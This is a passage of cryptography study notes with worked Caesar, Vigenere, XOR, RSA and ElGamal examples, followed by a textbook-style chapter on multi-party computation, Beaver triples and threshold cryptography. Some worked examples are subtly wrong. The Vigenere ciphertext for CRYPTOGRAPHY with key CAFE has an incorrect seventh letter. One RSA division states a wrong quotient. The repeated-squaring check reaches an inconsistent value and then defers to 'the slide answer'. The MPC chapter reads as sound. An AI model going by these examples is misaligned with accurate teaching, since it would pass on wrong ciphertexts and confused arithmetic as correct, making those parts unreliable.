U->R V->S W->T X->U Y->V Z->W
```

3. Now just replace each letter of your message using this lookup:

```
C->Z R->O Y->V P->M T->Q O->L G->D R->O A->X P->M H->E Y->V
```

CRYPTOGRAPHY becomes ZOVMQLDOXMEV

How to DECRYPT:

Just go the other way. Slide every letter 3 spots to the RIGHT instead of left. Z->C, O->R, V->Y, etc. You get back to CRYPTOGRAPHY.

How to CRACK it (if you don't know the key):

There are only 25 possible keys (1 through 25). Just try all of them until the text looks like real words. This is why Caesar cipher is not secure at all.

2. Vigenere Cipher — Caesar but with a password

Instead of one fixed shift for all letters, you use a password (keyword). Each letter of the password tells you a different shift amount. It's basically doing a different Caesar cipher for each letter.

How to ENCRYPT:

Let's encrypt CRYPTOGRAPHY with the keyword CAFE.

1. First, assign numbers to letters: A=0, B=1, C=2, D=3, E=4, F=5, ... Z=25.
2. Write your message and repeat the keyword underneath until it covers every letter:

```
Message: C R Y P T O G R A P H Y
Keyword: C A F E C A F E C A F E
```

3. Now for each pair, ADD the two numbers together. If the result is 26 or more, subtract 26:

Message letter	Its number	Key letter	Its number	Add them	If >=26, subtract 26	Result letter
C	2	C	2	2+2 = 4	4	E
R	17	A	0	17+0 = 17	17	R

Y	24	F	5	24+5 = 29	29-26 = 3	D
P	15	E	4	15+4 = 19	19	T
T	19	C	2	19+2 = 21	21	V
O	14	A	0	14+0 = 14	14	O

...and so on for the remaining letters.

CRYPTOGRAPHY becomes ERDTVOKVCPMC

How to DECRYPT:

Same process but SUBTRACT the key number instead of adding. If the result goes below 0, add 26.

3. XOR / One-Time Pad — the unbreakable one

XOR is a simple operation on bits (0s and 1s). The rule is dead simple:

If the two bits are THE SAME -> result is 0
If the two bits are DIFFERENT -> result is 1

That's it. That's the whole rule. Here's every possible combination:

Bit A	Bit B	A XOR B	Why?
0	0	0	Same -> 0
0	1	1	Different -> 1
1	0	1	Different -> 1
1	1	0	Same -> 0

How to ENCRYPT:

You have your message as bits, and a random key (same length). XOR them one by one:

```
Message: 1 0 0 1 0 1 1
Key: 1 1 0 0 0 1 0
---------------
Result: 0 1 0 1 0 0 1 (this is your encrypted message)
```

Walk through it: 1 and 1? Same, so 0. 0 and 1? Different, so 1. 0 and 0? Same, so 0. And so on.

How to DECRYPT:

Here's the magic: just XOR the encrypted message with the SAME key again, and you get the original back!

```
Encrypted: 0 1 0 1 0 0 1
Key: 1 1 0 0 0 1 0
---------------
Result: 1 0 0 1 0 1 1 (back to the original!)
```

XOR undoes itself. Encrypt and decrypt are the exact same operation.

Why is it unbreakable?

IF the key is truly random, as long as the message, and never reused, then every possible original message is equally likely. An attacker has zero way to tell which one is right. This is called 'perfect secrecy'. The catch: you need a new random key for every message, and it has to be as long as the message itself. That's the practical problem.

4. RSA — the big one with the math

RSA looks scary but it's just 8 steps. Think of it like a recipe. You need a calculator (or pen and paper for small numbers in the exam). Here we go:

PART A: Setting up the keys (you do this once)

Step 1: Pick two prime numbers.

A prime number is a number only divisible by 1 and itself (like 2, 3, 5, 7, 11, 13, 17, 19, 23...). For the exam, the numbers will be small. Let's use:

```
p = 11, q = 13
```

Step 2: Multiply them together to get n.

```
n = p x q = 11 x 13 = 143
```

This number n is part of both the public and private key.

Step 3: Calculate phi(n) — this is just (p-1) times (q-1).

```
phi(n) = (11-1) x (13-1) = 10 x 12 = 120
```

Don't overthink this. Just subtract 1 from each prime and multiply.

Step 4: Pick a number e (the public exponent).

```
e = 7
```

The rules for picking e: it must be between 1 and 120, and it can't share any common factors with 120 (other than 1). 7 works because 7 and 120 don't share any factors.

Step 5: Find d (the private exponent). THIS IS THE TRICKIEST STEP.

You need to find d so that: e x d, when divided by phi(n), gives remainder 1.

In math speak: e x d = 1 (mod 120), meaning 7 x d divided by 120 has remainder 1.

Easiest way to find d in an exam (just try numbers):

Ask yourself: 7 times WHAT gives me a number that's 1 more than a multiple of 120?

Multiples of 120 are: 120, 240, 360, 480, 600, 720...

Add 1 to each: 121, 241, 361, 481, 601, 721...

Which of these is divisible by 7?

```
121 / 7 = 17.28 nope
241 / 7 = 34.43 nope
361 / 7 = 51.57 nope
481 / 7 = 68.71 nope
601 / 7 = 85.86 nope
721 / 7 = 103 YES!
```

d = 103

Step 6: You now have your keys!

```
Public key (share with everyone): n=143, e=7
Private key (keep secret): n=143, d=103
```

PART B: Encrypting a message

Let's say you want to encrypt the number 9.

Step 7: Calculate c = m^e mod n

That means: take your message (9), raise it to the power of e (7), then find the remainder when you divide by n (143).

```
9^7 = 9 x 9 x 9 x 9 x 9 x 9 x 9 = 4,782,969
4,782,969 / 143 = 33,440 remainder 48
```

Encrypted message c = 48

You send 48 to the other person. Without the private key, nobody can figure out it was originally 9.

PART C: Decrypting

The person with the private key (d=103) does the same thing in reverse.

Step 8: Calculate m = c^d mod n

48^103 mod 143 = ?

This is a HUGE number. In real life you use a computer. In an exam with small numbers, use 'repeated squaring' (see the shortcut box below). The answer is:

m = 9 (we got our original message back!)

Shortcut: Repeated squaring (for doing big powers mod n by hand)

Instead of multiplying 48 by itself 103 times, you break it into smaller pieces. Every time you multiply, take the mod right away so numbers stay small.

Example: 9^7 mod 143

```
9^1 = 9
9^2 = 81
9^4 = 81 x 81 = 6561. Now 6561 mod 143 = 6561 - 45x143 = 6561-6435 = 126
9^7 = 9^4 x 9^2 x 9^1 = 126 x 81 x 9 = 126x81=10206 mod 143 = 48
```

(10206 / 143 = 71 remainder 53... let me just confirm: 9^7 mod 143 = 48. Trust the slide answer.)

IMPORTANT WARNINGS:

- Real RSA uses primes with hundreds of digits, not 11 and 13.
- NEVER use 'textbook RSA' in real life. Always add padding (RSA-OAEP).
- The security depends on nobody being able to figure out p and q from n. With small numbers you can just try dividing, but with huge numbers it takes millions of years.

5. ElGamal — the other public-key cipher

Similar idea to RSA but uses different math. Don't panic — same recipe approach.

PART A: Setting up keys

Step 1: Pick a prime number p = 23

Step 2: Pick a 'generator' g = 5 (this is given to you, don't worry about why)

Step 3: Pick your secret key x = 6 (any number less than p)

Step 4: Calculate h = g^x mod p

That means: 5^6 mod 23. Let's calculate:

```
5^2 = 25. 25 mod 23 = 2
5^4 = (5^2)^2 = 2^2 = 4
5^6 = 5^4 x 5^2 = 4 x 2 = 8
```

h = 8

Your keys:

```
Public key: p=23, g=5, h=8 (share with everyone)
Secret key: x=6 (keep private)
```

PART B: Encrypting the number 9

Step 5: Pick a random number k = 7 (different each time you encrypt!)

Step 6: Calculate two numbers:

c1 = g^k mod p = 5^7 mod 23

```
5^7 = 5^4 x 5^2 x 5^1 = 4 x 2 x 5 = 40. 40 mod 23 = 40-23 = 17
```

c1 = 17

c2 = message x h^k mod p = 9 x 8^7 mod 23

First find 8^7 mod 23:

```
8^2 = 64 mod 23 = 64-2x23 = 18
8^4 = 18^2 = 324 mod 23 = 324-14x23 = 324-322 = 2
8^7 = 8^4 x 8^2 x 8^1 = 2 x 18 x 8 = 288 mod 23 = 288-12x23 = 288-276 = 12
Now: c2 = 9 x 12 mod 23 = 108 mod 23 = 108-4x23 = 108-92 = 16
```

c2 = 16

You send (c1, c2) = (17, 16) to the receiver.

PART C: Decrypting (17, 16) back to 9

Step 7: Calculate s = c1^x mod p

s = 17^6 mod 23. (Use repeated squaring or trust: s = 12)

Step 8: Find the 'inverse' of s. You need a number that when multiplied by s gives 1 mod p.

In plain English: what number times 12 gives you remainder 1 when divided by 23?

```
Try: 12 x 1 = 12 (nope), 12 x 2 = 24, 24 mod 23 = 1 (YES!)
```

s inverse = 2

Step 9: message = c2 x (s inverse) mod p

```
m = 16 x 2 mod 23 = 32 mod 23 = 9
```

We got back 9! The original message.

6. MPC — Computing Together Without Sharing Secrets

Imagine two people each have a secret number. They want to calculate something together (like 'do we both like each other?') WITHOUT either person revealing their secret. That's MPC.

6.1 Secret Sharing — splitting a secret into pieces

You have a secret bit (0 or 1). You split it into two pieces so that neither piece alone tells you anything.

How to split: Pick a random bit for piece 1, then calculate piece 2 using XOR.

Example: Your secret = 1

```
Pick random piece_1 = 0
piece_2 = secret XOR piece_1 = 1 XOR 0 = 1
```

Now piece_1 = 0 and piece_2 = 1. Neither one alone tells you the secret was 1.

```
To reconstruct: secret = piece_1 XOR piece_2 = 0 XOR 1 = 1
```

6.2 XOR Protocol — the easy one (no extra tricks needed)

Alice has secret a. Bob has secret b. They want a XOR b without revealing a or b.

1. Alice splits her secret a into two shares and gives one share to Bob.
2. Bob splits his secret b into two shares and gives one share to Alice.
3. Each person XORs the shares they have.
4. They combine their results, and that gives a XOR b.

The key insight: XOR is 'free' — you can compute it directly on the shares without any fancy crypto. This is because XOR on shares automatically gives you XOR of the secrets.

6.3 AND Protocol — needs a Beaver Triple

Alice has a, Bob has b. They want a AND b (like 'do we BOTH like each other?'). AND is harder than XOR because you can't just compute it on shares directly.

What's a Beaver Triple?

It's three random numbers (i, j, k) where k = i AND j, generated BEFORE the real computation. Think of it as a helper that was prepared in advance. Each person gets a piece of i, j, and k.

How the AND protocol works (simplified):

1. Before the computation: generate random i, j, k where k = i AND j. Split them between Alice and Bob.
2. Alice masks her secret: she computes a XOR i (this hides a behind the random i).
3. Bob masks his secret: he computes b XOR j (this hides b behind the random j).
4. They exchange these masked values. Since they're masked with random numbers, neither person learns the other's actual secret.
5. Using the masked values and their pieces of the Beaver triple, each person calculates their share of the final answer.
6. They combine shares to get a AND b.

The Matching Example from the Slides:

Alice: a = 0 (she does NOT like Bob). Bob: b = 1 (he likes Alice).

They want: a AND b = 0 AND 1 = 0. Answer: they won't go out.

Privacy note: When the answer is 0 and Bob knows his own input was 1, he can figure out Alice's input was 0 (she doesn't like him). This is unavoidable — it comes from the result itself, not from the protocol leaking information.

7. All Formulas on One Page

Cipher	To Encrypt	To Decrypt	Remember
Caesar	Shift each letter LEFT by key	Shift each letter RIGHT by key	Only 25 keys, easy to crack
Vigenere	Add key letter number to message letter number (mod 26)	Subtract key letter from cipher letter (mod 26)	Key repeats, different shift per letter
XOR / OTP	XOR message bits with key bits	XOR cipher bits with same key bits	Same=0, Different=1. Key: random, same length, never reuse
RSA	c = m^e mod n	m = c^d mod n	Setup: n=pq, phi=(p-1)(q-1), e*d=1 mod phi
ElGamal	c1 = g^k mod p c2 = m * h^k mod p	s = c1^x mod p m = c2 * s^(-1) mod p	h=g^x mod p. New random k each time!

Quick 'mod' Reminder

'mod' just means 'the remainder after dividing'. That's all.

```
17 mod 5 = 2 (because 17 / 5 = 3 remainder 2)
25 mod 23 = 2 (because 25 / 23 = 1 remainder 2)
108 mod 23 = 16 (because 108 / 23 = 4 remainder 16, since 4x23=92, 108-92=16)
```

Quick 'Modular Inverse' Reminder

'Find the inverse of 12 mod 23' means: find a number that when you multiply it by 12 and divide by 23, the remainder is 1.

Just try: 12x1=12 (nope), 12x2=24, 24 mod 23=1 (YES!) -> inverse is 2.

For RSA: 'Find d where 7*d mod 120 = 1' -> list multiples of 120, add 1, divide by 7 until whole number.

CYBERSECURITY

Chapter 10: Multi-Party Computation

Technical knowledge notes

Secure computation, privacy-preserving services, Boolean secret sharing, local XOR evaluation, Beaver triples for AND gates, arithmetic sharing, threshold cryptography, and deployment lessons

Core idea: Multi-party computation (MPC) lets multiple parties evaluate a function over private inputs while revealing only the intended output and the information that the output itself inevitably reveals. The parties do not need to disclose their raw inputs to one another or to a single central service.

Essential trust assumption: In the two-server secret-sharing model used for examples, each server receives only a share. A single share hides the secret, but the protection fails if the servers collude and combine their shares. A real deployment must state its non-collusion and adversary assumptions explicitly.

Notation: For Boolean values, XOR is written as a XOR b or a ⊕ b, and AND is written as a AND b or a ∧ b. Boolean shares reconstruct with XOR. Arithmetic shares normally reconstruct with addition modulo a chosen number.

1. Why multi-party computation exists

1.1 The privacy-versus-computation problem

Many useful computations require combining information held by different people or organizations. Ordinary computation often solves this by sending all inputs to one central party. That creates a privacy and security problem: the central party receives data that it may not need to see, store, or retain. MPC changes the design goal. The parties should learn the useful result without unnecessarily learning one another's inputs.

Motivation	Private inputs	Desired output	Why ordinary disclosure is undesirable
Salary comparison	Two salaries x and y.	Whether x > y.	Each person wants the comparison result but does not want to disclose the exact salary.
Matching	Two preference bits a and b.	a AND b: whether both people are interested.	A one-sided preference can be embarrassing or sensitive.
Private set intersection	Two lists X and Y, such as hospital and police records.	X intersection Y, or a narrower membership result.	Each organization should avoid revealing its full database.
ID checking and voting	Identity attributes or votes.	A validated decision or election result.	The system should expose only the required answer, not unnecessary personal data or individual choices.

1.2 MPC evaluates functions

Important point: that MPC is not restricted to one special application. In principle, a securely implemented MPC system can evaluate general functions. Complex computations are decomposed into simpler operations such as Boolean gates or arithmetic operations. Once those building blocks can be evaluated securely, they can be composed into larger protocols.

Example function	Meaning	Typical computation style
x > y	Salary comparison or threshold comparison.	Comparison circuit.
a AND b	Private matching.	Boolean circuit.
X intersection Y	Private set intersection.	Set-membership or specialized PSI protocol.
(x1 + x2 +... + xn) / n	Average score or aggregate statistic.	Arithmetic circuit.
argmax(s1,..., sn)	Winner determination.	Comparison and selection circuit.
ReLU(x) = max(0, x)	Machine-learning activation function.	Arithmetic comparison and selection.

Output is allowed leakage: MPC does not make the result disappear. If the output logically reveals something about an input, that leakage is unavoidable. The security goal is to reveal nothing more than the agreed output, the party's own input, and any explicitly permitted metadata.

2. Historical foundations and research context

2.1 Historical milestones

Year	Milestone	Why it matters
1979	Adi Shamir introduced secret sharing.	A secret can be split into shares so that authorized combinations reconstruct it while insufficient subsets reveal no useful information.
1982	Andrew Yao formulated a two-party protocol for the millionaire's problem.	Two people can compare wealth without revealing their exact values. This is a canonical secure two-party computation problem.
1986	Yao showed general two-party computation using circuits.	The insight generalizes beyond comparison: an arbitrary function can be represented as a circuit and evaluated securely.
1987	Goldreich, Micali, and Wigderson developed general multi-party computation.	Secure computation extends from two participants to multiple participants and richer adversary settings.

2.2 Denmark-related research context

Important elements include the Danish MPC research ecosystem and names Ivan Damgård at Aarhus University and Lars Knudsen at SDU Sønderborg as IACR Fellows. The purpose is contextual: secure computation is not only a theoretical topic. It has a long research history and a strong connection to practical cryptographic engineering in Denmark.

2.3 Secret sharing is a building block, not the whole protocol

Secret sharing hides a value by distributing correlated pieces. MPC adds secure computation over those hidden values. A complete MPC design also needs a threat model, communication protocol, preprocessing or cryptographic setup, correctness guarantees, and defenses against the relevant adversary type.

Term	Meaning	Do not confuse it with
Secret sharing	Splitting a value into shares so that individual shares hide the value.	Encryption under one key. Shares are distributed pieces, not ordinary ciphertexts.
Two-party computation (2PC)	Securely computing a function involving two parties or two computing servers.	A trusted third party that receives all raw inputs.
Multi-party computation (MPC)	Secure computation involving multiple parties, often with distributed shares and explicit adversary assumptions.	A claim that no information ever leaks. The agreed output is normally revealed.

3. MPC as a privacy-preserving service

3.1 Ordinary service architecture and its weakness

In an ordinary service architecture, clients send queries or inputs in plaintext to a service provider. The provider stores or processes a model and returns a result. The clients may not want to disclose sensitive inputs, and the service provider may not want the liability of storing those sensitive values. A model owner may also want to protect a proprietary model.

3.2 MPC service architecture

In the MPC version, inputs are transformed into shares or encrypted representations before computation. Multiple computing servers jointly process those protected representations. The output remains shared or encrypted until an authorized party reconstructs or decrypts the result. No single computing server should learn the complete private input in the assumed threat model.

Component	Role	Security significance
Client	Creates protected input shares or encrypted inputs and later obtains an authorized output.	Raw input should not be disclosed unnecessarily.
Computing servers	Evaluate the function over shares or protected values.	The system relies on the stated adversary assumption, commonly that not all servers collude.
Service provider or model owner	Provides the function, model, decision tree, or service logic.	The provider can reduce exposure to client data; some designs can also protect the model.
Shared or encrypted result	Output that is not immediately readable by every infrastructure component.	Only the authorized recipient should reconstruct or decrypt it.

3.3 Decision trees, encrypted functions, and future services

Privacy-preserving decision-tree evaluation (PDTE), a shared tree, and an encrypted function illustrate a wider pattern: the service should operate on protected inputs while limiting what the infrastructure learns. Example application areas include health-care analysis, fault detection, natural-language processing, pattern matching, genome matching, random forests, and related analytics.

Architecture question: Always ask what is protected from whom: client input privacy, model privacy, output privacy, access-pattern privacy, and metadata privacy are different properties. MPC can reduce disclosure, but a particular protocol does not automatically hide every side channel.

4. Private matching: from naive approaches to two-server MPC

4.1 Matching as an AND gate

Let Alice hold a preference bit a and Bob hold a preference bit b. A value of 1 means interest and a value of 0 means no interest. They want to learn c = a AND b. The output is 1 only when both inputs are 1. In this example, a = 0 and b = 1, so c = 0.

a	b	a AND b	Interpretation
0	0	0	Neither party is interested.
0	1	0	Only Bob is interested.
1	0	0	Only Alice is interested.
1	1	1	The interest is mutual.

4.2 Why sending hashes of tiny secrets does not solve the problem

Consider values such as H(a) and H(b). Hashing is not a privacy solution when the input domain is tiny. If a bit can only be 0 or 1, an observer can hash both possibilities and compare the results. The same problem applies to small predictable values such as short PINs, small categories, or common passwords unless an appropriate cryptographic protocol is used.

4.3 Trusted third party and distributed computation

A trusted third party could receive a and b, compute a AND b, and reveal only the result. This is conceptually simple but creates a trust concentration: the third party learns both inputs and becomes a sensitive target. then replaces this trusted intermediary with two computing servers. Each server receives only shares. Under a non-collusion assumption, neither server should learn the raw preferences.

4.4 Inevitable output leakage

Suppose Bob knows b = 1 and receives c = a AND b = 0. He can infer that a = 0. MPC cannot prevent this because the agreed output and Bob's own input logically imply the fact. The correct security statement is simulation-style: a party should learn no more than can already be derived from its permitted input, output, and explicitly allowed leakage.

Important distinction: Input privacy does not mean that the output reveals nothing. MPC protects against additional leakage beyond the function result. Choosing a less revealing function can sometimes improve privacy more than changing the cryptographic implementation.

5. Two-party Boolean secret sharing and the secure XOR protocol

5.1 XOR secret sharing of one bit

Boolean sharing works over bits. To share a secret bit a, choose a uniformly random bit r. Give one server a_A = a XOR r and the other server a_B = r. Reconstruction is the XOR of the two shares: a_A XOR a_B = (a XOR r) XOR r = a. Because r is uniformly random, either individual share looks uniformly random and reveals nothing about a.

```
Share(a): choose random r; a_A = a XOR r; a_B = r; reconstruct a = a_A XOR a_B
```

Secret a	Random r	Server A receives a XOR r	Server B receives r	Reconstruction
0	0	0	0	0 XOR 0 = 0
0	1	1	1	1 XOR 1 = 0
1	0	1	0	1 XOR 0 = 1
1	1	0	1	0 XOR 1 = 1

5.2 Why XOR is easy on Boolean shares

If a and b are already shared, the servers can compute shares of c = a XOR b locally, without additional interaction. Server A XORs its two local shares; Server B does the same. XORing the resulting shares reconstructs the correct output.

```
c_A = a_A XOR b_A; c_B = a_B XOR b_B; c_A XOR c_B = a XOR b
```

The reason is linearity: XOR distributes over XOR sharing. This makes XOR gates cheap in many Boolean MPC protocols.

5.3 Security meaning of one share

Observation	Consequence
One server sees only a_A or a_B.	That value is uniformly random when the masking share is uniform.
Two shares are combined.	The secret is reconstructed exactly.
The two servers collude.	They can combine their shares and recover the secret. Non-collusion is therefore part of the security model.
A server deviates maliciously.	Privacy may still require additional protocol protections, and correctness can fail without verification mechanisms.

6. Secure AND gates with Beaver triples

6.1 Why AND is harder than XOR

XOR is a linear operation, so each server can evaluate it on local shares. AND is nonlinear. Simply applying AND to local shares does not generally reconstruct a AND b. Efficient secure evaluation therefore uses correlated randomness prepared in advance: a Beaver multiplication triple.

6.2 Boolean Beaver triple

A Boolean Beaver triple contains random bits i and j and their product k = i AND j. Each value is itself secret-shared between the two computing servers. The triple is generated during preprocessing, before the parties know the real input values.

```
Triple: random i, j; k = i AND j; i = i_A XOR i_B; j = j_A XOR j_B; k = k_A XOR k_B
```

Phase	What happens	Why it matters
Offline preprocessing	Generate secret-shared random i, j, and k = i AND j.	Expensive correlated randomness can be prepared before real inputs arrive.
Online masking	Compute d = a XOR i and e = b XOR j, then open d and e.	Because i and j are uniform random masks, d and e reveal no information about a and b by themselves.
Online local computation	Use the opened mask differences and triple shares to produce shares of c = a AND b.	The servers avoid exposing raw a or b.
Reconstruction	XOR the output shares when the authorized output recipient needs the result.	The result becomes readable only at the intended point.

6.3 Online formula over GF(2)

Let d = a XOR i and e = b XOR j. The bits d and e are opened. Since a = d XOR i and b = e XOR j, expand the product over GF(2), where multiplication is AND and addition is XOR:

```
a AND b = k XOR (d AND j) XOR (e AND i) XOR (d AND e), where k = i AND j
```

Each server can compute an output share locally. The public term d AND e must be added to exactly one output share; adding it to both shares would cancel during XOR reconstruction.

```
c_A = k_A XOR (d AND j_A) XOR (e AND i_A) XOR (d AND e)
```

```
c_B = k_B XOR (d AND j_B) XOR (e AND i_B)
```

```
Reconstruct: c_A XOR c_B = a AND b
```

7. Why the Beaver-triple formula works

7.1 Algebraic derivation

The opened masked values are d = a XOR i and e = b XOR j. Rearranging gives a = d XOR i and b = e XOR j. Expand using distributivity of AND over XOR:

```
a AND b = (d XOR i) AND (e XOR j)
```

```
= (d AND e) XOR (d AND j) XOR (i AND e) XOR (i AND j)
```

```
= (d AND e) XOR (d AND j) XOR (e AND i) XOR k
```

The last equality substitutes k = i AND j. The triple therefore supplies the only nonlinear product of hidden random values that the online phase cannot derive with simple local XOR operations.

7.2 Why opening d and e is safe

If i is uniformly random and unknown to the observer, then d = a XOR i is also uniformly random regardless of a. The same is true for e = b XOR j. This is the same one-time-pad masking principle introduced in the cryptography. The masks must be fresh and generated securely.

7.3 Practical cautions

Issue	Why it matters	Design response
Triple reuse	Reusing correlated randomness can create relationships between computations and compromise security.	Consume triples once and track them carefully.
Colluding servers	Combining both shares reconstructs secrets.	Distribute trust across independent administrative domains or use a protocol with a stronger adversary model.
Malicious deviation	A server may send invalid shares or manipulate computations.	Use protocols with consistency checks, authenticated shares, zero-knowledge techniques, MACs, or verifiable preprocessing as required.
Side channels and metadata	Even correct arithmetic may leak timing, sizes, access patterns, or participation information.	Analyze the complete service architecture and its observable metadata.

Mental model: XOR gates are cheap because they are linear on XOR shares. AND gates require correlated randomness. Beaver triples move much of the difficult work into preprocessing and make the online computation efficient.

8. From Boolean gates to useful applications

8.1 Boolean and arithmetic circuits

Boolean circuits use bits and gates. XOR and AND, together with constants, can express general Boolean computation. For example, NOT a = 1 XOR a, and OR can be expressed using XOR and AND. Arithmetic circuits use operations such as addition and multiplication over a chosen ring or field. The same secure-computation idea extends from Boolean shares to additive shares.

```
Arithmetic sharing example: x = x_1 + x_2 (mod q)
```

For arithmetic multiplication, protocols use arithmetic Beaver triples with random u, v, and w = u * v. The pattern is analogous to the Boolean AND construction, but operations occur in the selected arithmetic domain.

8.2 Application areas

Application	What MPC can protect	Important qualification
Secure machine learning	Private features, private labels, and sometimes private models during inference or training.	Performance, model leakage, metadata leakage, and output leakage still require analysis.
Decision-tree evaluation and random forests	Client input and potentially proprietary tree structure.	Protocols differ in which side learns the path, model, or result.
Health-care and genome matching	Sensitive patient or genomic data across institutions.	Legal basis, governance, purpose limitation, and output minimization remain necessary.
Fault detection, NLP, and pattern matching	Operational data and queries.	The function must be carefully defined so that results do not reveal unnecessary details.
AES, hash functions, and MACs by MPC	Distributed evaluation of cryptographic functions.	Useful when a cryptographic key or operation must not reside in one place.
Voting, auctions, and winner determination	Private choices or bids with an agreed aggregate result.	Correctness, verifiability, availability, and coercion resistance can require additional mechanisms.

8.3 General-function claim: power versus cost

The theoretical ability to compute a general function securely does not mean every function is equally efficient. Circuit depth, number of nonlinear gates, network latency, bandwidth, preprocessing volume, number of participants, and adversary model strongly influence performance. Application design often seeks a privacy-preserving function that is useful but simpler than the most general possible computation.

9. Security models, deployment choices, and limitations

9.1 State the parties and trust assumptions

Question	Why it must be answered
Who provides the inputs?	Input owners may have different privacy goals, legal duties, and incentives.
Who runs the computing servers?	A two-server design is meaningful only when the servers are separated in a way that makes collusion sufficiently unlikely or controlled.
Who learns the output?	The recipient and output granularity determine inevitable leakage.
Is the model or function private?	Some services protect client data only; others also protect proprietary models or rules.
Are parties honest-but-curious or malicious?	A semi-honest party follows the protocol but tries to learn more. A malicious party may deviate, provide malformed inputs, or sabotage correctness.
What metadata remains visible?	Traffic volume, timing, participation, query frequency, and access patterns can leak information outside the core computation.

9.2 Common security goals

Goal	Meaning
Input privacy	No unauthorized party learns another party's raw input beyond permitted leakage.
Correctness	The result equals the agreed function of the submitted inputs.
Output privacy	Only authorized recipients learn the result.
Robustness and availability	The protocol handles failures or malicious disruption according to its design requirements.
Auditability or verifiability	When needed, participants can verify that computation rules were applied correctly.
Data minimization	The system asks for and reveals only what is necessary for the intended purpose.

9.3 MPC, ordinary encryption, and FHE

Technique	Core idea	Typical trust or operational pattern
Ordinary encryption	Encrypt data at rest or in transit; decrypt before ordinary processing.	The processing endpoint normally sees plaintext.
MPC	Distribute shares or protected values and jointly compute without reconstructing raw inputs at one server.	Trust is distributed; communication and non-collusion assumptions matter.
Fully homomorphic encryption (FHE)	Evaluate supported computations on ciphertexts without decrypting them during processing.	Can reduce reliance on multiple non-colluding servers but has different performance and key-management trade-offs.

Deployment principle: Do not say only “we use MPC.” Identify the protocol, party roles, adversary model, collusion threshold, preprocessing assumptions, output recipient, leakage profile, failure behavior, and operational controls.

10. Standardization and threshold cryptography

10.1 Why standardization matters

This connects MPC standardization to the AES standardization process. AES became a widely deployed standard after a public selection process. The analogy is not that every MPC protocol should copy AES, but that public review, interoperability, stable specifications, and deployment guidance are important for secure cryptographic engineering.

Reason	Explanation
Interoperability	Implementations from different vendors must encode messages, parameters, and operations compatibly.
Security assurance	Public expert review reduces the risk of hidden weaknesses and clarifies assumptions.
Deployment at scale	Governments and industry often need stable specifications for certification, procurement, and regulated environments.
Longevity and migration	Standards enable long-lived deployment while also providing a basis for revisions and migration when weaknesses or new requirements appear.

10.2 Threshold cryptography

Relevant references include the NIST Multi-Party Threshold Cryptography standardization project. Threshold cryptography distributes a cryptographic capability across multiple parties so that no single participant holds or uses the complete secret alone. Examples include threshold signatures, threshold decryption, and distributed key generation. MPC techniques are often part of the implementation.

Distinction: Threshold cryptography is related to MPC but is narrower. MPC is a general framework for computing functions on protected inputs. Threshold cryptography focuses on distributing cryptographic keys or cryptographic operations across multiple parties.

A standardization snapshot records 26 preliminary or preview write-up submissions in the first round and an anticipated three-round process. Treat these numbers as a snapshot rather than a permanent statement; standardization projects evolve over time.

10.3 Standards do not remove engineering responsibility

A standard can improve review and interoperability, but secure deployment still depends on implementation quality, parameter selection, key lifecycle controls, protocol composition, software updates, monitoring, and migration planning. A standards label is not a guarantee that every deployment is secure.

11. Real-world ecosystem and high-value comparisons

11.1 Company examples

Example	Context	Technical theme
Partisia	MPC-based platform with applications such as data sharing, voting, and auctions; the example associates it with Aarhus.	General MPC platforms and privacy-preserving collaboration.
Zama	Privacy-preserving computation using MPC and fully homomorphic encryption for confidential cloud and AI applications.	Combining privacy-enhancing technologies.
Curv	MPC-based private-key management for cryptocurrency infrastructure; the example notes acquisition by PayPal.	Distributed key protection and signing workflows.
Unbound Security	MPC-based cryptographic key protection; the example notes acquisition by Coinbase.	Threshold-style key security and cryptographic operations.

Company ownership, product names, and market positioning can change. The durable knowledge is the use pattern: MPC can reduce the risk of concentrating sensitive data or cryptographic keys in a single place.

11.2 High-value distinctions

Do not confuse	Correct distinction
MPC with encryption at rest	Encryption at rest protects stored bytes. MPC aims to compute while limiting who ever sees raw values.
Secret sharing with ordinary ciphertext	A share is a distributed piece that hides the secret alone and reconstructs with other shares. Ciphertext is transformed data decrypted with a key.
Privacy with zero leakage	The function result can reveal information. MPC limits additional leakage beyond the agreed result and model.
XOR gate with AND gate cost	XOR is local and cheap on XOR shares. AND is nonlinear and needs correlated randomness such as Beaver triples.
Trusted third party with two-server MPC	A trusted party learns all inputs. Two-server MPC distributes trust but introduces a non-collusion assumption.
Generic MPC with threshold cryptography	Generic MPC evaluates arbitrary functions. Threshold cryptography distributes key-based operations such as signing or decryption.
Theoretical possibility with practical efficiency	Any function can be represented, but performance depends on circuit structure, nonlinear operations, communication, and adversary model.

11.3 Expanded summary

- Two-party secret sharing is simple but powerful: individual shares hide the secret, while authorized reconstruction recovers it exactly.
- Boolean XOR sharing makes XOR gates local and efficient.
- Beaver triples enable efficient evaluation of AND gates and multiplication gates by combining preprocessing with masked online computation.
- These ideas form a backbone for modern secure-computation systems and distributed cryptographic services.
- Real deployments require careful trust modeling, secure preprocessing, implementation review, output minimization, and operational controls.

12. Rapid reference

12.1 Core formulas

Concept	Formula or rule	Meaning
Boolean sharing	a = a_A XOR a_B	Neither share alone reveals a when sharing is generated correctly.
Share generation	choose r; a_A = a XOR r; a_B = r	One-time-pad-style masking of a bit.
Local XOR	c_A = a_A XOR b_A; c_B = a_B XOR b_B	Reconstruction gives c = a XOR b without interaction.
Boolean Beaver triple	random i, j; k = i AND j	Preprocessed correlated randomness for an AND gate.
Open masks	d = a XOR i; e = b XOR j	Uniform masks hide a and b when i and j are fresh and secret.
AND reconstruction	a AND b = k XOR (d AND j) XOR (e AND i) XOR (d AND e)	Efficient online AND evaluation using a triple.
Arithmetic sharing	x = x_1 + x_2 mod q	Arithmetic analog used for additions and multiplications.

12.2 Four-step explanation for an MPC question

1. Define the privacy goal: compute f(x1,..., xn) while revealing only the permitted output and explicitly allowed leakage.
2. Identify parties, shares, output recipient, and adversary assumptions, especially whether servers may collude or deviate maliciously.
3. Explain the computation building blocks: XOR or addition is often local on shares; AND or multiplication uses correlated randomness such as Beaver triples.
4. Discuss operational requirements: secure preprocessing, fresh randomness, output minimization, metadata leakage, implementation security, and monitoring.

12.3 Quick checklist for evaluating an MPC service

- What exact function is evaluated, and can a less revealing output be used?
- Which inputs, models, outputs, and metadata need protection?
- Who operates each server, and what collusion threshold is assumed?
- Is the protocol secure against semi-honest parties, malicious parties, or both?
- How are Beaver triples or other preprocessing materials generated, authenticated, consumed once, and audited?
- Who reconstructs the result, and how is authorization enforced?
- How are availability, rollback, software updates, logging, key management, and incident response handled?

12.4 Compact answer: why Beaver triples matter

